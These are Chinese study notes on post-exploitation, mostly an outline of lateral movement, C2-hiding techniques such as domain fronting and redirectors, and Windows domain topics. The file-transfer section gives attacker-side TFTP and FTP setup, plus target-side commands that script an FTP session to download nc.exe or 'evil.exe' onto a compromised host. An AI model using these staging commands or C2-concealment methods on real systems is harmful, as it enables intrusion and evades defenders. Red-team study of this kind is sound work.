学习笔记-后渗透

后渗透


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲

  • 横向扩展

    • 基于IPC$的横向
    • PTH/PTK/PTT
    • 文件传输
      • web-servers
      • FTP
      • Linux
      • Win
  • 隐匿技术

    • 流量隐藏技术
      • 端口转发
      • 应用层隧道
      • 网络层隧道
      • 代理
    • C2隐藏技术
      • CDN
      • 域前置
      • 重定向
    • 侧信道
  • 权限提升

  • 权限维持

  • windows域

    • 域认证基础知识
    • 域内信息收集
    • Exchange
    • 认证
    • 跨域

后渗透案例

  • 记一次渗透测试
  • 绕过不能执行大部分系统命令和微软杀毒
  • 记一次Shiro反序列化到远程桌面

横向扩展

基于IPC$的横向

  • IPC$

PTH/PTK/PTT

  • PTH
  • PTT

基于RPC的taskexec

相关文章

  • Advanced Windows Task Scheduler Playbook-Part.3 Lateral Movement

文件传输

相关文章

  • 红队后渗透测试中的文件传输技巧

web-servers

相关工具

  • sc0tfree/updog - 用于替代 Python 的 SimpleHTTPServer 的工具,自带401认证服务
    pip3 install updog
    updog --port 8888 --password test1234
  • projectdiscovery/simplehttpserver - Go alternative of python SimpleHTTPServer

本地服务

以下部分内容来自 部分内容来自 部分内容来自项目 [willurd/web-servers.md]

在当前目录起个 8000 端口的 HTTP 服务

  • Python 2.x

    python -m SimpleHTTPServer 8000
  • Python 3.x

    python3 -m http.server 8000 --bind 0.0.0.0
  • Twisted (Python)

    twistd -n web -p 8000 --path .

    or

    python -c 'from twisted.web.server import Site; from twisted.web.static import File; from twisted.internet import reactor; reactor.listenTCP(8000, Site(File("."))); reactor.run()'
  • Ruby

    ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start'
  • Ruby 1.9.2+

    ruby -run -ehttpd . -p8000
  • adsf (Ruby)

    gem install adsf   # install dependency
    adsf -p 8000
  • Sinatra (Ruby)

    gem install sinatra   # install dependency
    ruby -rsinatra -e'set :public_folder, "."; set :port, 8000'
  • Perl

    cpan HTTP::Server::Brick   # install dependency
    perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>8000); $s->mount("/"=>{path=>"."}); $s->start'
  • Plack (Perl)

    cpan Plack   # install dependency
    plackup -MPlack::App::Directory -e 'Plack::App::Directory->new(root=>".");' -p 8000
  • Mojolicious (Perl)

    cpan Mojolicious::Lite   # install dependency
    perl -MMojolicious::Lite -MCwd -e 'app->static->paths->[0]=getcwd; app->start' daemon -l http://*:8000
  • http-server (Node.js)

    npm install -g http-server   # install dependency
    http-server -p 8000
  • node-static (Node.js)

    npm install -g node-static   # install dependency
    static -p 8000
  • PHP (>= 5.4)

    php -S 127.0.0.1:8000
  • Erlang

    erl -s inets -eval 'inets:start(httpd,[{server_name,"NAME"},{document_root, "."},{server_root, "."},{port, 8000},{mime_types,[{"html","text/html"},{"htm","text/html"},{"js","text/javascript"},{"css","text/css"},{"gif","image/gif"},{"jpg","image/jpeg"},{"jpeg","image/jpeg"},{"png","image/png"}]}]).'
  • busybox httpd

    busybox httpd -f -p 8000
  • webfs

    webfsd -F -p 8000
  • IIS Express

    C:\> "C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C:\MyWeb /port:8000

FTP

tftp

基于 udp,端口为 69

  • 攻击端起 tftp

    mkdir /tftp
    atftpd --daemon --port 69 /tftp
    cp /usr/share/windows-binaries/nc.exe /tftp/
    chown -R nobody /tftp
  • 目标机

    tftp -i  GET nc.exe

ftp

  • 攻击端

    apt-get install -y pure-ftpd
    
    groupadd ftpgroup
    useradd -g ftpgroup -d /dev/null -s /etc ftpuser
    pure-pw useradd username -u ftpuser -d /ftphome
    pure-pw mkdb
    cd /etc/pure-ftpd/auth/
    ln -s ../conf/PureDB 60pdb
    mkdir -p /ftphome
    chown -R ftpuser:ftpgroup /ftphome/
    /etc/init.d/pure-ftpd restart
    ./setup-ftp(输入要设置的密码)

    攻击端使用 python 起 ftp:

    pip3 install pyftpdlib
    cd /tmp
    python3 -m pyftpdlib -p 8888

    此时目标机连接的时候,用户名为 anonymous,密码随意

  • 目标机
    目标机的远程 shell 上运行

    echo open  21> ftp.txt
    echo username>> ftp.txt
    echo password>> ftp.txt
    echo bin >> ftp.txt
    echo GET evil.exe >> ftp.txt
    echo bye >> ftp.txt
    ftp -s:ftp.txt

    目标机上传文件(连接状态):

    ftp> put target.exe(如果是 windows 且文件在其他盘,需使用绝对路径)

    关闭 ftp:

    /etc/init.d/pure-ftpd stop

    windows下

    ftp
    username
    password
    get file
    exit 或者 bye
    ftp -s:test.txt

Linux lol

  • Linux LOL

Win lol

  • Windows LOL

隐匿技术

流量隐藏技术

相关文章

  • 强制通过VPN上网,VPN断线就断网
  • 匿名信使:木马隐蔽通信浅谈

端口转发

  • 端口转发实验

隧道

  • 隧道实验

代理

  • 代理实验

C2隐藏技术

相关工具

  • wikiZ/RedGuard - C2设施前置流量控制技术
  • mgeeky/RedWarden - Cobalt Strike C2 Reverse proxy that fends off Blue Teams, AVs, EDRs, scanners through packet inspection and malleable profile correlation
    • https://www.freebuf.com/articles/network/277694.html

相关文章

  • 利用CDN、域前置、重定向三种技术隐藏C2的区别

CDN

让 cdn 转发合法的 http 或者 https 流量来达到隐藏的目的。

受害主机上只会有跟 cdn 的 ip 通信的流量,不会有跟真实 C2 通信的流量,可以保护 C2 的 ip,但是域名还是会暴露。

相关文章

  • 反溯源-cs和msf域名上线
  • 使用CDN隐藏c2流量

实验

  • CDN+C2实验

域前置

Domain fronting

同一个 cdn 厂商下倘若有两个域名 a.com,b.com,这两个主机都是被 ip 为 1.1.1.1 的 cdn 进行加速的。这时候我们使用 curl 命令访问第一个 a.com 并将 host 名改为 b.com 这时候,实际访问的是 b.com 的内容。而一般的监测机制是不会检测 host 头的。

curl 1.1.1.1 -v     # 无内容
curl 1.1.1.1 -H "Host: www.ffffffff0x.com" -v   # 访问到 cdn 下站点的内容

通过一个高信任域名隐藏自己的真实域名与 ip,且受害主机上只有跟 cdn 通信的流量。

相关文章

  • 域前置技术的原理与CS上的实现
  • 【安全研究】Domain fronting域名前置网络攻击技术
  • 域前置之“中外差异”

重定向

两台 vps,一台做重定向,一台是真正的 C2,而受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到 C2 控制端主机,对于其他流量可以自定义设置处理方法,一般是采用重定向到一些高信誉域名上例如百度等。

受害者上只会有与重定向机器之间的流量,不会有与真实 c2 服务器的流量,重定向服务器会将非 beacon 的请求重定向到一些高信誉域名上,达到迷惑的目的,不过如果受害者 ban 掉了重定向机器的 ip,对攻击者的损失也是很大的。

相关文章

  • 利用apache mod_rewrite模块实现重定向技术来隐藏CS的teamserver的原理与实现
  • cobaltstrike配置nginx反向代理
  • Cobalt Strike with CloudFlare
  • 博客使用Cloudflare和Nginx的相关配置

相关项目

  • cedowens/Mod_Rewrite_Automation - Scripts to automate standing up apache2 with mod_rewrite in front of C2 servers.
  • threatexpress/cs2modrewrite - Convert Cobalt Strike profiles to modrewrite scripts

实验

  • 重定向+C2实验

侧信道

相关文章

  • Bypassing Little Snitch Firewall with Empty TCP Packets

相关工具

  • PTP-RAT
    • https://www.pentestpartners.com/security-blog/exfiltration-by-encoding-data-in-pixel-colour-values/
    • https://github.com/pentestpartners/PTP-RAT

权限提升

  • 权限提升

权限维持

  • 权限维持

windows域

域渗透相关文章(总结类)

  • 我所了解的内网渗透——内网渗透知识大总结

相关工具

  • lele8/mscan
  • FuzzySecurity/StandIn - StandIn is a small .NET35/45 AD post-exploitation toolkit

域基础知识

域认证

  • 关于 windows 域认证的基本知识点可见笔记 认证

域环境

  • 关于 windows 域环境组成的基本知识点可见笔记 认证

域环境搭建

  • 关于 windows 域认证的基本知识点可见笔记 认证

域内信息收集

  • 域内信息收集

Exchange

  • Exchange

认证

  • 认证

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

你可能感兴趣的:(学习,ruby,开发语言,后端)